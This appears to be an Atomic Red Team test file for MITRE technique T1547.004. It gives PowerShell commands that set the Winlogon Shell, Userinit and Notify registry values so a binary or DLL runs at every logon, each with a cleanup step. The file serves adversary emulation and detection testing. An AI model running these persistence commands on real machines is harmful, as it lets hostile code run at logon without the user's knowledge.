attack_technique: T1547.004
display_name: 'Boot or Logon Autostart Execution: Winlogon Helper DLL'
atomic_tests:
- name: Winlogon Shell Key Persistence - PowerShell
  auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38
  description: |
    PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

    Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
  supported_platforms:
  - windows
  input_arguments:
    binary_to_execute:
      description: Path of binary to execute
      type: Path
      default: C:\Windows\System32\cmd.exe
  executor:
    command: |
      Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
    cleanup_command: |
      Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
    name: powershell
- name: Winlogon Userinit Key Persistence - PowerShell
  auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb
  description: |
    PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

    Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
  supported_platforms:
  - windows
  input_arguments:
    binary_to_execute:
      description: Path of binary to execute
      type: Path
      default: C:\Windows\System32\cmd.exe
  executor:
    command: |
      Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
    cleanup_command: |
      Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
    name: powershell
- name: Winlogon Notify Key Logon Persistence - PowerShell
  auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9
  description: |
    PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

    Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.
  supported_platforms:
  - windows
  input_arguments:
    binary_to_execute:
      description: Path of notification package to execute
      type: Path
      default: C:\Windows\Temp\atomicNotificationPackage.dll
  executor:
    command: |
      New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
      Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
    cleanup_command: |
      Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore
    name: powershell